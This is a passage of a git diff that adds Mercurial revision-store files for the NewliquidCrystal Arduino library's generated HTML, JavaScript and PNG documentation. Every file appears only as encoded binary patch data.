ze%8D=@QKWuqY-~Nb~ae|(v60$kIl7PIX?TQtN#L6c!0nF0000LBme*a00B<`05g{W z00000006=O00061|NsBl)ZWmL%eH{N&#fr~-_{S{Lw#=m00000000000001ZoL!K? zO2jY_hJ%7aK@q%q7%O-X+H8?sM6_Z`_!_>0 zN2krM$Oe8GX7W$IKZI;>LN?z>f3^-#w^&dBI6g{7gA3L+q6U?Z!^WB?nYsG8N~H~X z5}(EiqurPXXnRDxqLrbQ>l6GC=>e8jykFS75S zWQS1%&NL83-PK`(TKKEOcS1%VSbVb5LZ(IAj>CyD4&zgV%5y8*c5Q%MmC%|8eb|l- z()sEyS2;@OnsZ90(`lTW*}RZ-Y-~YQoy*xWUcgjUtnG%@X5(<>XzC&aq1|5xp@J?p VB=K3C46ybn*z>47_ysg-i<((MQbhm& literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c______by__vac.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c______by__vac.html.i new file mode 100644 index 0000000000000000000000000000000000000000..737059f311d32e0b7a49ac9d6fd927b7dc8e673b GIT binary patch literal 7930 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 asw_+Z$O^@$;4M%i`%tH$_IB$>EBqgChC?O* literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c______by__vac.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c______by__vac.js.i new file mode 100644 index 0000000000000000000000000000000000000000..d6a015709e0ec7b7c50ed22aa300a42ef21860cd GIT binary patch literal 318 zcmZQzWME`~fPV}OOkPm-*8fo8rt>v|{X@|#v-{G_&K};Y?k&++3{?ZBD&|a`V3>Wx zfT#8QpRNh(+&fd%H)_V}1ura~{@7rW&i&S1n!ZKsKfjwUeS1k-idV=+?)~GJUBM?g zpWj^m@Uaog`O8-NGxmIEt~l2oR`04O-|Zau%yP=r&(k;mH?wnm|NS+0(N^u%|6T6R zpT51M{lSj5zMDZu&I#RokaUI1M`U&2Y8msmAg%u0@_HvTCCr1iBo@ldEqbzu_tKMG zhF*)qT%G@d(j*VNbxgiyusv)CXJDf2#Rew>hFcRCNr$FIemk)~(_-%QwFW_Jx9D(f zX_)XNzVjN(u5(4*cYP!N+vy3Pi;nDlc24n167vd%HJ!!R1KMYls(n7K)yF@-t7pGD E0PVMs1ONa4 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c______by__vac.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c______by__vac.png.i new file mode 100644 index 0000000000000000000000000000000000000000..06f624311dee057a317b4b3c7b7254db32aee35b GIT binary patch literal 1283 zcmXX^3s90-6#mijHL0^QZW<=mq=lN5Yi8L_xg&;KqN1&}D3YLVlCHZ6>S}^krrFZN z*SZ3&7VE2g;e#?2wG3adX-K{ToD5AxOF?N6_Q(2WzVm%&?z!jQIrjn(00L|RG7JEa zS6@8vNcR=_RxtUWv6R`9qhWo9?}*SZ_1=1#)F)FcUm4gtQND(Vk)2XBM-_w@-) zfh;m#(Vsh*AO}1@>Q1D>w?L2;6P_H8cA|Tw_0e+ae9PXVc%8os&2SPbt2~^Oa~3vW za7wfH7?ff3Uoym)8`kYO^ivhdcHWM4fCsTi?2}myQ0fXw#cAf@h}=2%p2B;7xgEA^ zv`(ZM+DQRpFMZJ$%XLjGIOo})whe6F*_9gIQM0=|W$&>MSa%6*^!UP=?(1pXIr}Zk zmWffXZT+SQiR7N+t`?}D<3{YD#+7~qUQ)KbpmCtj#=7UO6m{d9!6!}Di*=IBymg2d zjBd@y3!fF6`vnj8z@+N}^SdyED-gQyxQ7c-&GhE-Rv5U|wEr^euSI>2G$uQXEMO5sG7l z9NW+te(`Ozp!>?Mguv8wa41V%jzy6TcXvDN{0Eu~&L8kcqJ3+Bz-Q^b{x1N4K?BHf zy#vv#5Blf9dp{tqJ2td#_!c?Vf421SAuBic>(}*2VG!_mDISl1#^>>pax*hC#UnkA zCMY3f+QK5np{n}aswv8U%lb90R;PpW(?7l^UDTDCp8VDZ?v+SuUZEeq(-&;@Zu{Ue z+@O|acF17I-*a=*Hkht;N-JZbyW(4oHBh$KDylDA*@b#Q9fQ}imcLUv9I~7u_*y@l50^C7fBJ3b>`d2=8eLA`nuC zR-0mPI*6!R$)wT~yWGb9_&y!URUvwN?{AG-iP=B$8jr6fCI(L>$s45R?E%Sd^R;kk@5pk@LLDefMYULwEmT_$hCdUjRBh>`_Wqk;#YF0CeI$yp z<{aPMRw~Bf#%yr&rD1A3X=dRXIn1(?nb3(YJ`@)$dtp}-kHk``r?Jf_i6))zKUH^j z?cRNja~%nj_K-ULp=W14r?6Hy#Zvbwqmk@&!7!)c#~DWC!#o@on+`}c+ZS2dEp+nQP{f0>Zh}cUpb>0 zixaV*RB~mTkewl?JdY; literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__i2__c-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__i2__c-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..625513d848803ad31da1a68437037fb80a5f385d GIT binary patch literal 3526 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 AmjD0& literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__i2__c.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__i2__c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..21a1f95e3fa87c05c356b5ec8e2bef2b448891e9 GIT binary patch literal 6062 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 